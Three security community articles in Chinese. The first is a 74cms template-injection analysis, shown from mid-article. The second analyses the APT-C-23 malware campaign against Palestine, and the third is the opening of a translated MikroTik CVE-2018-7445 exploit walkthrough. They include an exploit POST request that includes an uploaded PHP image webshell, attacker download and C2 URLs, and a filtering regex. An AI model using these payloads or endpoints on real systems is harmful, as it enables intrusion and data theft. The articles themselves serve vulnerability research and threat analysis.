public function loadTemplate ($templateFile,$prefix='') {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
// 读取模板文件内容
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}
// 根据模版文件名定位缓存文件
$tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];
// 判断是否启用布局
if(C('LAYOUT_ON')) {
if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
$tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
}else{ // 替换布局的主体内容
$layoutFile = THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
// 检查布局文件
if(!is_file($layoutFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
}
$tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
}
}
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
return $tmplCacheFile;
}
可以看到`fetch()`方法调用了`loadTemplate`方法，然后在`loadTemplate`方法中，`$templateFile`被赋值给了`$tmplContent`，然后在编译模板内容时，进入了`compiler`方法，依旧是`/ThinkPHP/Library/Think/Template.class.php`文件，在120
行左右：
/**
* 编译模板文件内容
* @access protected
* @param mixed $tmplContent 模板内容
* @return string
*/
protected function compiler($tmplContent) {
//模板解析
$tmplContent = $this->parse($tmplContent);
// 还原被替换的Literal标签
$tmplContent = preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
// 添加安全代码
$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
// 优化生成的php代码
$tmplContent = str_replace('?><?php','',$tmplContent);
// 模版编译过滤标签
Hook::listen('template_filter',$tmplContent);
return strip_whitespace($tmplContent);//strip_whitespace函数主要是去除代码中的空白和注释
}
传入的模板内容未经过过滤就直接被拼接到`$tmplContent`变量
然后返回`loadTemplate`方法，看其编辑模板的逻辑：
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
return $tmplCacheFile;
将编译好的模板进行缓存处理，然后返回缓存的文件名
返回到`fetch()`方法，可以看到`loadTemplate`方法返回的缓存文件名进入了
`Storage::load($templateCacheFile,$this->tVar,null,'tpl');`
跟进该方法，在`/ThinkPHP/Library/Think/Storage/Driver/File.class.php`，69 行左右：
/**
* 加载文件
* @access public
* @param string $filename 文件名
* @param array $vars 传入变量
* @return void
*/
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}
进行非空判断后，直接进行了文件包含。
这样一来整个漏洞的流程就很清楚了，流程图如下所示：
### 0x03 漏洞复现
首先在前台注册一个普通用户，然后更新简历：
完成简历更新后，上传照片：
在上传图片马后，会生成图片地址：
复制路径，通过 a 方法调用assign_resume_tpl函数，再通过 POST 的方式提交该路径，即可包含成功
http://192.168.159.208/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2011/13/5fae95e469e05.jpg
如下图所示：
值得一提的是，通过上面的分析我们可以知道，在解析模板的时候，不是解析原生的 PHP 代码，因此如果图片马是纯 PHP 代码是无法利用成功的，必须要包括骑士
CMS
模板文件的标签，我们可以随便打开一个原有模板，然后复制一句话即可，如：`/Application/Home/View/tpl_company/default/com_jobs_list.html`
<qscms:company_show 列表名="info" 企业id="$_GET['id']"/>
因此最终的图片马所要包含的内容应该是：
<?php phpinfo(); ?>
<qscms:company_show 列表名="info" 企业id="$_GET['id']"/>
另外一点，骑士 CMS 对于图片上传是有过滤的，所以需要绕过技巧，具体可以自行研究，当然你也可以考虑上传 docx
或者其他类型的文件，对于包含的结果是没有影响的
### 0x04 漏洞修复
官方虽然给了修复的方法，如下：
`BaseController.class.php`文件中169行`assign_resume_tpl`方法中添加判断
$view = new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}
文件2
路径：`/ThinkPHP/Library/Think/View.class.php`，
`View.class.php`文件中106行`fetch`方法中修改，将110行
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'))
但其实这种修复方式是没有用的，我们依旧可以执行命令，如下图所示：
这里提供一个个人的临时修复方案：
`BaseController.class.php`文件中`assign_resume_tpl`方法中添加判断
$pattern = "\.\/|\.\.\/|:|%00|%0a|=|~|@|file|php|filter|resource";
if(preg_match("/".$pattern."/is",$tpl)== 1){
return $this->_empty();
}
如下所示：
在此执行命令时，发现已经失败了：
### 0x05 总结
本漏洞其实也是寻常的模板注入漏洞，由可控参数传入`fetch()`函数，这个漏洞产生的方式相信很多人已经很熟悉了，前段时间分析的 fastadmin 前台
RCE 也是由这个原因，但上次偷懒没有分析具体传入的流程，本次分析的比较具体，有不足或错误之处希望师傅们指出，共同学习。最后感谢续师傅的指点（抱大腿）
### 0x06 参考
<https://blog.csdn.net/qq_16877261/article/details/53484671>
<https://juejin.im/post/6844903982905688078>
<http://www.111com.net/phper/thinkPhp/104435.htm>
<https://www.kancloud.cn/manual/thinkphp/1697>
<http://www.74cms.com/news/show-2497.html> | 社区文章 |
# 刺向巴勒斯坦的致命毒针——双尾蝎 APT 组织的攻击活动分析与总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
##
## 一.前言
**双尾蝎** APT组织(又名: APT-C-23 ),该组织从 2016 年 5
月开始就一直对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断攻击.其在2017年的时候其攻击活动被360企业
安全进行了披露,并且其主要的攻击区域为中东,其中以色列与巴勒斯坦更受该组织的青睐。
攻击平台主要包括 Windows 与Android :
其中针对windows 的平台,其比较常见的手法有投放带有” *.exe “或” *.scr “文件后缀的 **释放者**
文件,在目标用户打开后释放对应的诱饵文档,并且释放下一步的 **侦查者** **(Recon)**.持久存在的方式也不唯一,一般
通过写入注册表启动项以及释放指向持久化远控的快捷方式到自启动文件夹下.其侦查者会收集当前机器 的相关信息包含( **系统版本** **,** **计算名**
**,** **杀毒软件信息** **,** **当前文件所在路径** **,** **恶意软件当前版本** ),以及其解析 C2
的回显指令,并执行.比如: **远程** **shell,** **截屏和文件下载** 。
同时根据别的安全厂商的报告,我们也得知该组织拥有于攻击Android 平台的组件,拥有
**定位、短信拦截、电话录音等，并且还会收集文档、图片、联系人、短信等情报信息；** **PC** **端后门程序功能包括收集用户信息上传到指定服务器**
的功能、远程下载文件能力.
近日check point
安全厂商披露了该组织自导自演,给以色列士兵手上安装恶意软件的攻击活动.可以从中看出该团伙的攻击设计之巧妙,准备之充分。但最后结果还是被以色列给反制了一波…………
Gcow安全团队 **追影小组** 于 2019.12 月初开始监测到了 **双尾蝎** APT组织通过投递带有诱饵文件的相关可执行文件针对
**巴勒斯坦** 的部门 进行了相应的攻击活动,这些诱饵文件涉及教育,科技,政治等方面的内容,其攻击活动一直持续到了 2020.2 月底. **追影小组**
对该组织进行了一定时间的追踪.遂写成此报告还请各位看官欣赏.
## 二.样本信息介绍以及分析
### 1\. 样本信息介绍
在本次 **双尾蝎** APT组织针对 **巴勒斯坦** 的活动中,Gcow安全团队 **追影小组** 一共捕获了 14 个样本,均为
windows 样本,其中 12 个样本是释放诱饵文档的可执行文件, 2 个样本是带有恶意宏的诱饵文档
在这 12 个可执行文件样本中,有 7 个样本伪装成pdf 文档文件,有 1 个样本伪装为word 文档文件,有 2 个样本伪装为rar 压缩文件.有 2
个样本伪装成mp3 , mp4 音频文件
在这 14 个Windows 恶意样本中,其诱饵文档的题材,政治类的样本数量有 9 个,教育类的样本数量有 1 个,科研类的样本数量有 1
个,未知类的样本数量有 3 个( **注意** **:** **未知指得是其诱饵文档出现错误无法打开或者其内容属于无关内容** )
现在各位看官应该对这批 **双尾蝎** 组织针对 **巴勒斯坦** 的攻击活动有了一个大概的认识,但是由于这批样本之
中有一些话题是以色列和巴勒斯坦共有的,这里Gcow 安全团队 **追影小组** 持该组织主要是攻击 **巴勒斯坦**
的观点,若各位看官有更多的证据,欢迎联系我们团队. **注意** **:** **这里只是一家之言** **,** **还请各位看官须知** 。
那下面 **追影小组** 将以一个恶意样本进行详细分析,其他样本采取略写的形式向各位看官描述此次攻击活 动。 **注意** **:**
**因为其他样本的主要逻辑是相同的** **,** **所以没有必要枉费笔墨**
### 1\. 样本分析
**(1).Define the Internet in government institutions**
**a. 样本信息**
**b.样本分析**
通过对样本的分析我们得知了该样本是兼具 **释放者** **(Dropper)** 与 **下载者** **(Downloader)** 的功能,其
**释放者**
**(Dropper)** 主要是用以释放诱饵
文档加以伪装以及将自身拷贝到 **%ProgramData%** 目录下,并且生成执行该文件的快捷方式并且释放于 自启动文件夹下,而 **下载者**
**(Downloader)**
部分主要是通过进行信息收集以及等待C2给予的回显,主要功能有: **远程** **shell,** **文件下载** **,** **屏幕截屏**
#### i. 释放者(Dropper)部分:
通过 _SizeOfResource_ 函数通过获取资源的地址计算该资源的长度
通过CreateFile 函数在 **%temp%** 目录下释放诱饵PDF文档 **Define the Internet in government
institutions.pdf**
通过WriteFile 函数将PDF源数据写入创建的诱饵文档内
通过ShellExecute 函数打开PDF诱饵文档,以免引起目标怀疑
其PDF诱饵文档内容如图,主要关于其 **使用互联网** 的 **政治类** 题材样本,推测应该是 **针对政府部门** 的活动
同时利用CopyFileA 函数将自身拷贝到%ProgramData% 目录下并且重命名为SyncDownOptzHostProc.exe
利用CreateFilewW 函数在自启动文件夹下创造指向%ProgramData%\SyncDownOptzHostProc.exe
的快捷方式SyncDownOptzHostProc.lnk
**i. 下载者(Downloader)部分:**
通过CreateFile 函数创造%ProgramData%\GUID.bin 文件,内部写入对应本机的GUID
.当软件再次运行的时候检查自身是否位于%ProgramData% 文件夹下,若不是则释放pdf文档。若是,则释放lnk 到自启动文件夹
**①.信息收集**
1.收集 **当前用户名** 以及 **当前计算机名称** ,并且读取 GUID.bin 文件中的 **GUID** **码**
再以如下格式拼接信息
当前计算机名称_当前用户名_GUID码
将这些拼接好的信息利用base64进行编码,组合成cname 报文.
**2.通过 GetVersion 函数收集当前系统版本**
并且将其结果通过Base64进行编码,组成 osversion 报文
通过 WMI 查询本地安装的安全软件 被侦查的安全软件包括 360 , F-secure , Corporate , Bitdefender
如果存在的话,获取结果组成av 报文
3\. 通过 GetModuleFile 函数获取当前文件的运行路径
将当前程序运行路径信息通过base64编码组成aname 报文
4.后门版本号 ver 报文,本次活动的后门版本号为: **5.HXD.zz.1201**
将这些信息按照如下方式拼接好后,通过Send 方式向URL地址
<htp://nicoledotson.icu/debby/weatherford/yportysnr> 发送上线报文
cname=&av=&osversion=&aname=&ver=
**②.获取指令**
通过<http://nicoledotson.icu/debby/weatherford/ekspertyza> URL获取功能命令(功能为截屏,
远程shell,以及下载文件)
**③.发送屏幕快照**
向URL地址 <http://nicoledotson.icu/debby/weatherford/Zavantazhyty> 发送截屏 截取屏幕快照函数
**④.远程shell**
远程shell主要代码
**⑤.文件下载**
下载文件,推测应该先另存为base64编码的txt文件再解密另存为为exe文件,最后删除txt文件.由于环境问题我们并没有捕获后续的代码
**⑥.删除命令**
通过URL <http://nicoledotson.icu/debby/weatherford/vydalyty> 获取删除指令
此外我们还关联到一个与之相似的样本,诱饵文档与之相同故不再赘述
(2).Employee-entitlements-2020
**a. 样本信息**
该样本属于包含恶意 **宏** 的文档,我们打开可以看到其内容关于 **财政部关于文职和军事雇员福利的声明** ,属 于涉及 **政治类** 的题材
**b. 样本分析**
通过使用olevba dump出其包含的恶意宏代码(如下图所示:) 其主要逻辑为:下载该URL <http://linda-callaghan.icu/Minkowski/brown> 上的内容到本台机器的%ProgramData%\IntegratedOffice.txt
(此时并不是其后门,而且后门文件的base64 编码后的结果)。
通过读取IntegratedOffice.txt 的所有内容将其解码后,把数据流写 入%ProgramData%\IntegratedOffice.exe
中,并且延迟运行%ProgramData%\IntegratedOffice.exe
删除%ProgramData%\IntegratedOffice.txt
该样本属于上一个样本中的 **下载者** **(Downloader)** 部分,其还是通过创建 GUID .bin标记感染机器
并且创建指向自身的快捷方式于自启动文件夹中
**(3).Brochure-Jerusalem_26082019_pdf**
#### a. 样本信息
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个PDF 文件
通过CreateFile 函数将文件源数据写入%Temp%\Brochure-Jerusalem_26082019.pdf (诱饵文件)中
通过ShellExecute 函数将%Temp%\Brochure-Jerusalem_26082019.pdf 打开
之后的行为就和之前的如出一辙了,在此就不必多费笔墨。
**(4).Congratulations_Jan-7_78348966_pdf** **a.** **样本信息**
**b. 样本分析**
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个PDF 文件
通过CreateFile 函数将文件源数据写入%Temp%\Congratulations_Jan-7.pdf (诱饵文件)中
通过ShellExecute 函数将%Temp%\Congratulations_Jan-7.pdf 打开
该样本关于 **耶路撒冷归属** 的话题,属于 **政治类** 诱饵文档
之后的行为就和之前的如出一辙了,在此就不必多费笔墨。
**(5).Directory of Government Services_pdf** **a.** **样本信息**
**b.样本分析**
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个PDF 文件
通过CreateFile 函数将文件源数据写入%Temp%\Directory of Government Services.pdf (诱饵文件)中
通过ShellExecute 函数将%Temp%\Directory of Government Services.pdf 打开
该样本关于 **政府部门秘书处** 的话题,属于 **政治类** 诱饵文档
诱饵内容对应的官网图
**(6).entelaqa_hamas_32_1412_847403867_rar**
**a. 样本信息**
**b. 样本分析** 通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个RAR 文件
通过CreateFile 函数将文件源数据写入%Temp%\Entelaqa32.rar (诱饵文件)中
通过ShellExecute 函数将%Temp%\Entelaqa32.rar 打开
该样本关于哈马斯的话题,属于政治类诱饵文档
**(7).final_meeting_9659836_299283789235_rar**
**a. 样本信息**
b. 样本分析
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个rar 文件
通过CreateFile 函数将rar 文件源数据写入%Temp%\jalsa.rar (诱饵文件)中
通过ShellExecute 函数将%Temp%\jalsa.rar 打开
其诱饵文件的内容与 **第十二届亚洲会议** 有关,其主体是 **无条件支持巴勒斯坦** ,可见可能是利用 **亚洲会议** 针 对 **巴勒斯坦**
***** 的活动,属于 **政治类** 题材的诱饵样本
之后的行为就和之前的如出一辙了,在此就不必多费笔墨
**(8).Meeting Agenda_pdf**
**a. 样本信息**
**a. 样本分析**
通过CreateFile 函数将文件源数据写入%Temp%\Meeting Agenda.pdf (诱饵文件)中
通过ShellExecute 函数将%Temp%\Meeting Agenda.pdf 打开
但由于其塞入数据的错误导致该Meeting Agenda.pdf
文件无法正常打开故此将该样本归因到未知类题材,之后的行为就和之前的如出一辙了,在此就不必多费笔墨。
**(9).Scholarships in Serbia 2019-2020_pdf**
**a. 样本信息**
****
**b. 样本分析**
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个PDF 文件
通过CreateFile 函数将文件源数据写入%Temp%\Scholarships in Serbia 2019-2020.pdf (诱饵文件)中
通过ShellExecute 函数将%Temp%\Scholarships in Serbia 2019-2020.pdf 打开
该样本关于巴勒斯坦在塞尔维亚共和国奖学金的话题,属于教育类诱饵文档
诱饵内容对应的官网图片
之后的行为就和之前的如出一辙了,在此就不必多费笔墨。 ﺗﻘرﯾر ﺣول أھم اﻟﻣﺳﺗﺟدات
**(10).347678363764_**
**a. 样本信息**
**b. 样本分析**
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个docx 文件
通过CreateFile 函数将docx 文件源数据写入%Temp%\daily_report.docx (诱饵文件)中
通过ShellExecute 函数将%Temp%\daily_report.docx 打开
从诱饵样本中的内容我们可以看出其关于巴勒斯坦态势的问题,属于政治类诱饵样本
之后的行为就和之前的如出一辙了,在此就不必多费笔墨
**(11).asala-panet-il-music-live-892578923756-mp3**
**a.样本信息**
**b.样本分析**
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个unknown 文件
通过CreateFile 函数将文件源数据写入%Temp%\asala.mp3 (诱饵文件)中
通过ShellExecute 函数将%Temp%\asala.mp3 打开
歌曲挺好听的,但是我们也不知道啥意思,将其归属于未知类题材样本
**(12).artisan-video-5625572889047205-9356297846-mp4**
**a. 样本信息**
**b. 样本分析**
通过FindResource 函数查找资源MYDATA ,通过下图我们可以看出该资源是一个unknown 文件
通过CreateFile 函数将文件源数据写入%Temp%\artisan-errors.mp4 (诱饵文件)中
通过ShellExecute 函数将%Temp%\artisan-errors.mp4 打开
该样本伪装成视频丢失的404信号,没有实际参考价值,故归入未知类题材样本
之后的行为就和之前的如出一辙了,在此就不必多费笔墨。
**(13).1 اﻟﺳﯾرة اﻟذاﺗﯾﺔ ﻣﻧﺎل **
**a. 样本信息**
**b. 样本分析**
其诱饵内容关于在东耶路撒冷(巴勒斯坦)的阿布迪斯大学秘书,属于大学科研类样本
同时其包含的恶意宏代码如图所示,由于我们并没有能成功获得下一步的载荷,故没法进行下一步的分析。不过推测其大致功能应该与上文相同
## 三.组织关联与技术演进
在本次活动中,我们可以清晰的看到 **双尾蝎** APT组织的攻击手段,同时Gcow 安全团队 **追影小组**
也对其进行了一定的组织关联,并且对其技术的演进做了一定的研究。下面我们将分为 **组织关联** 与 **技术演进** 这两部分 内容进行详细的叙述。
#### 注意:下文中的时间段仅仅为参考值,并非准确时间。由于在这一时间段内该类样本较多,故此分类。
### **1.组织关联**
**(1).** **样本执行流程基本相似**
我们根据对比了从 2017 到 2020 年所有疑似属于 **双尾蝎** APT组织的样本,( **注意** **:** **这里比对的样本主要是**
**windows** **平台的可执行文件样本** ).在 2017 年到 2019 年的样本中我们可以看出其先在 **临时文件夹**
下释放诱饵文件,再打开迷惑受害者,再将自身拷贝到%ProgramData%
下.创建指向%ProgramData%下的自拷贝恶意文件的快捷方式于自启动文件夹.本次活动与 2018 年 2019
年的活动所使用样本的流程极为相似.如下图所示.故判断为该活动属于 **双尾蝎** APT组织。
**(2).C &C** **中存在名人姓名的痕迹**
根据checkpoint 的报告我们得知,该组织乐于使用一些明星或者名人的名字在其C&C 服务器上.左图是 checkpoint
安全厂商揭露其针对以色列士兵的活动的报告原文,我们可以看到其中含有Jim Morrison , Eliza Dollittle , Gretchen
Bleiler 等名字.而右图在带有恶意宏文档的样本中,我们发现了其带有Minkowski 这个字符.通过搜索我们发现其来源于Hermann
Minkowski 名字的一部分,勉强地符合了双尾蝎APT组织的特征之一.
### **2.技术演进**
**(1). 在编写语言上的演进**
根据 360 的报告我们可以得知 **双尾蝎** APT组织在 2016 年到 2017 年这段时间内该组织主要采用了VC 去编写载荷.再到 2017 年到
2018 年这段时间内该组织主要是以Delphi 来编写其 **侦查者** **(Recon)** ,根据Gcow 安全团队 **追影小组**
的跟踪,该组织在 2018 年到 2019 年这段时间内也使用了Delphi 编写的恶意载荷。
与 2017 年到 2018 年不同的是: 2017 年到 2018 年所采用的编译器信息是: **Borland Delphi 2014XE6** 。而在
2018 年到 2019 年这个时间段内采用的编辑器信息是: **Borland Delphi 2014XE7- S.10** 。
同时在本次活动中该组织使用 Pascal 语言来编写载荷。可见该组织一直在不断寻求一些受众面现在越来越小的语言以逃脱杀软对其的监测。
**(2). 编译时间戳的演进**
根据 360 的报告我们可以得知 **双尾蝎** APT组织在 2016 年到 2018 年这个时间段中,该组织所使用的恶意
载荷的时间戳信息大部分时间集中位于北京的下午以及第二天的凌晨,属于中东地区的时间。而在 2019年 7 月份捕获的双尾蝎APT组织样本中该组织的编译戳为
2019.7.14 11:08:48 而在本次活动所捕获的 样本中我们发现该组织将编译时间戳统一改为: 1970.1.1 1:00
,也就是置0.通过伪造时间戳以阻断安全人员的关联以及对其的地域判断
**(3). 自拷贝方式的演进**
**双尾蝎** APT组织在 2017 年到 2019 年的活动中,擅长使用copy 命令将自身拷贝到%ProgramData% 下.而可能由于copy
指令的敏感或者已经被各大安全厂商识别。在 2019 年 7 月份的时候.该组织恢复了之前采用CopyFile windows
API函数的方式将自身拷贝到%ProgramData% 下
**(4). 持久化方式的演进**
根据 360 的报告,我们可以得知 **双尾蝎** APT组织在 2016 年到 2017 年的活动之中,主要采用的是修改注册
表添加启动项的方式进行权限的持久化存在。而根据 **追影小组** 的捕获的样本,我们发现在 2017 年到2018
年的这段时间内该组织使用拥有白名单Shortcut.exe
通过命令行的方式在自启动文件夹中添加指向自拷贝后的恶意文件的快捷方式。而在本次活动中,该组织则采用调用CreateFile Windows API
函数的方式在自启动文件夹中创建指向自拷贝后恶意文件的快捷方式以完成持久化存在
**(5).C &C报文的演进**
为了对比的方便,我们只对比 **双尾蝎** APT组织 2018 年到 2019 年的上半年的活动与本次活动的C&C
报文的区别。如图所示下图的左上是本次活动的样本的C&C 报文,右下角的是 2018 年到 2019 年上半年活动的样本的C&C
报文。通过下面所给出的解密我们可以得知两个样本所向C&C
收集并发送的信息基本相同。同时值得注意的是该组织逐渐减少明文的直接发送收集到的注意而开始采用比较常见的通过Base64的方式编码后在发送。同时在ver版本中我们发现:
2018 年到 2019 年上半年的样本的后门版本号为: 1.4.2.MUSv1107 ( **推测是** **2018.11.07** **更新的后门**
);而在本次活动中后门版本号
为: 5.HXD.zz.1201 ( **推测是** **2019.12.01** **号更新的后门**
),由此可见该组织正在随着披露的增加而不断的进行后门的更迭。
## 四.总结
### 1\. 概述
Gcow 安全团队 **追影小组** 针对 **双尾蝎**
APT组织此次针对巴勒斯坦的活动进行了详细的分析并且通过绘制了一幅样本执行的流程图方便各位看官的理解
该组织拥有很强的攻击能力,其载荷涵盖较广( **Windows** **和** **Android** **平台** ).并且在被 **以色列**
进行导弹物理 打击后快速恢复其攻击能力.对巴勒斯坦地区进行了一波较为猛烈的攻势,同时我们绘制了一幅本次活动 之中样本与C&C 的关系图
通过之前的分析我们发现了该组织拥有很强的技术对抗能力,并且其投放的样本一直围绕着与 **巴勒斯坦** 和 **以色列**
的敏感话题进行投放,我们对其话题关键字做了统计,方便各位看官了解
### 1\. 处置方案:
**删除文件**
%TEMP%\*.pdf(*.mp3,*.mp4,*.rar,*.doc) [诱饵文档]
%ProgramData%\SyncDownOptzHostProc.exe [侦查者主体文件]
%ProgramData%\IntegratedOffice.exe[侦查者主体文件]
%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\SyncDownOptzHostProc.lnk [指向侦查者主体文件的快捷方式用于权限维持]
%ProgramData%\GUID.bin [标记感染]
### **3.结语**
通过本次分析报告,我们相信一定给各位看官提供了一个更加充分了解该组织的机会.我们在前面分析了
该组织的技术特点以及对该组织实施攻击的攻击手法的演进进行了详细的概述。
同时在后面的部分我们 也会贴出该组织最新活动所使用样本的IOCs 供给各位感兴趣的看官交流与学习.同时我们希望各位看官如果有其他的意见欢迎向我们提出。
## 五.IOCs:
### MD5:
### **URL:**
http[:]//linda-callaghan[.]icu/Minkowski/brown http[:]//linda-callaghan[.]icu/Minkowski/microsoft/utilities
http[:]//nicoledotson[.]icu/debby/weatherford/yortysnr
http[:]//nicoledotson[.]icu/debby/weatherford/Zavantazhyty
http[:]//nicoledotson[.]icu/debby/weatherford/Ekspertyza
http[:]//nicoledotson[.]icu/debby/weatherford/Vydalyty
http[:]//nicoledotson[.]icu/debby/weatherford/pidnimit
### C2:
linda-callaghan[.]icu nicoledotsonp[.]icu
### 释放文件:
%TEMP%\ *.pdf(*.mp3,*.mp4,*.rar,*.doc)
%ProgramData%\SyncDownOptzHostProc.exe
%ProgramData%\Microsoft\Windows\Start
Menu\Programs\Startup\SyncDownOptzHostProc.lnk
%ProgramData%\GUID.bin
%ProgramData%\IntegratedOffice.exe
## 六.相关链接:
_<https://www.freebuf.com/articles/system/129223.html>_
_[https://research.checkpoint.com/2020/hamas-android-malware-on-idf-soldiers-this-is-how-it-hap pened/](https://research.checkpoint.com/2020/hamas-android-malware-on-idf-soldiers-this-is-how-it-happened/)_
_<https://mp.weixin.qq.com/s/Rfcr-YPIoUUvc89WFrdrnw>_ | 社区文章 |
原文地址 ：<https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1>
* CVE-2018-7445是SMB服务二进制文件中的堆栈缓冲区溢出，存在于6.41.3 / 6.42rc27之前的所有RouterOS版本和体系结构中。
* 它被发现使用哑声模糊辅助使用Cisco Talos的Mutiny Fuzzer工具并在大约一年前报告/修复。
* 易受攻击的二进制文件没有使用stack canaries。
* 利用ROP将堆标记为可执行文件并跳转到堆中的固定位置。堆基不是随机的。
* 愚蠢的模糊测试仍然在2018年发现了有趣的目标中的错误（虽然我确信2019年肯定不会留下任何错误！）
* 该帖子描述了从目标选择到识别漏洞然后产生有效漏洞的完整过程。
## 介绍
在过去几年中，MikroTik RouterOS设备中发现和报告的公共漏洞数量激增。从影响CIA Vault
7中包含的内置Web服务器的远程缓冲区溢出泄漏到可能安全的Kirils Solovjovs和Tenable的Jacob
Baines报告的大量其他漏洞导致完全远程攻击。
MikroTik最近被Zerodium维护的漏洞利用收购计划列入了符合条件的路由器品牌名单，其中包括以10万美元购买优先RCE
的一个月优惠。这可能反映出对MikroTik产品及其安全态势越来越感兴趣。
这篇博文旨在为正在进行的MikroTik RouterOS漏洞研究做出一点贡献。我将概述我们与我的同事Juan（感谢Juan！）在Core
Security一起寻找和利用CVE-2018-7445的步骤，这是MikroTik的RouterOS
SMB服务中的远程缓冲区溢出，可以从未经验证的攻击者。
漏洞很容易找到，利用很简单，因此我们的想法是提供详细的演练，希望（对于对内存损坏感兴趣的其他初学者）有用。我将尝试从“嘿！让我们来看看这个MikroTik的事情“实际上在网络服务中发现漏洞并为其编写漏洞。
最初的建议可以在这里找到。
强制性免责声明：我不再隶属于Core Security，因此本文的内容不反映其观点或以任何方式代表公司。
## 建立
在6.41.3 / 6.42rc27之前运行RouterOS的所有体系结构和设备中都存在此漏洞，因此第一步是使易受攻击的系统运行。
MikroTik通过维护所有以前发布的版本的存档使这变得非常容易。也可以下载RouterOS 的Cloud Hosted
Router版本，该版本可作为具有完整RouterOS功能的虚拟机提供。这允许使用流行的虚拟机管理程序在x86-64架构中运行RouterOS，而无需实际的硬件设备。
让我们从这里获得6.40.5版本的Cloud Hosted Router，并在VirtualBox上创建虚拟机。
默认管理员凭据由admin作为用户名和空密码组成。
RouterOS管理控制台
RouterOS控制台是受限制的环境，不允许用户在预定义的配置选项集之外执行任何命令。
要复制漏洞发现，需要启用SMB服务。这可以通过ip smb set enabled = yes命令来实现。
启用SMB并检查设备的IP地址
请注意，情况默认下未启用该服务的事实使得活动利用的可能性要小得多。此外，您可能不应该将您的SMB服务暴露给公共网络，但是，内部网络中始终存在可能有权访问此服务的那些讨厌的用户。
受限制的控制台不适合执行正确的调试，因此在查找漏洞之前，拥有完整的shell访问权限非常有用。Kirils
Solovjovs发表了关于越狱RouterOS的广泛研究，包括发布可用于越狱6.40.5的工具。重复这里的基本细节是没有意义的，所以前往Kirils的研究中心或更新近的Jacob
Baines的新版本的帖子，其中6.40.5的入口点已被修补。
越狱的RouterOS 6.40.5就像克隆<https://github.com/0ki/mikrotik-tools存储库并运行指向我们的VM>
的交互式exploit-backup / exploit_full.sh漏洞一样简单。
越狱工具由0ki定位6.40.5
最后，从<https://github.com/rapid7/embedded-tools/raw/master/binaries/gdbserver/gdbserver.i686> 下载预编译的GDB版本，并使用FTP将其上传到系统。
通过Telnet连接到设备将允许我们附加到正在运行的进程并正确调试它们。
我们现在准备开始寻找网络服务中的漏洞。
## 目标选择
在RouterOS中运行了很多服务。快速回顾显示常见服务，如HTTP，FTP，SSH和Telnet，以及一些其他特定于RouterOS的服务，例如在端口2000上运行的bandwidh测试服务器。
雅各布贝恩斯指出，通过使用Winbox协议可以达到90多种实现网络服务的不同二进制文件（参见他的优秀博客文章中的真实攻击曲面）。
当我们开始使用RouterOS并且没有花时间对使用Winbox的二进制文件进行反向工程时，我们并没有意识到所有可达到的功能，所以我们只是继续查看在网络上明确监听的几个二进制文件。
RouterOS中的大多数（全部？）服务似乎都是从头开始实现的，因此有数千行自定义低级代码等待审计。
我们的目标是实现未经身份验证的远程代码执行，初看起来，FTP或Telnet等常见服务的二进制文件在没有提供凭据的情况下无法提供太多可访问的功能。这使我们转向其他默认情况下可能未启用的服务，但需要实现丰富的功能集。默认情况下未启用这些服务这一事实意味着他们可能会被其他攻击者忽略，这些攻击者希望最大限度地提高影响RouterOS默认安装的漏洞的ROI，因此更有价值。
通过遵循这一基本原理并检查可用服务，我们决定查看SMB实施。
## 发现漏洞
我们知道我们想在SMB服务中发现漏洞。我们有虚拟机设置，服务运行，我们对设备有完全的shell访问权限，我们可以调试任何进程。我们如何找到漏洞？
一种选择是反汇编二进制文件并寻找不安全的编码模式。我们将识别有趣的操作，如strcpy，memcpy等，并查看是否有正确的大小检查。然后我们将看看是否可以通过用户控制的输入访问这些代码路径。我们可以将它与动态分析相结合，并使用我们的能力通过GDB连接到正在运行的进程，以便在运行时，内存位置等处检查寄存器。但是，这可能非常耗时，如果您没有经验，很容易感到沮丧进行逆向工程，特别是如果它是一个大型二进制文件。
另一个选择是模糊网络服务。此方法包括将数据发送到远程服务并检查它是否导致意外行为或崩溃。此数据将包含格式错误的邮件，无效的大小，非常长的字符串等。
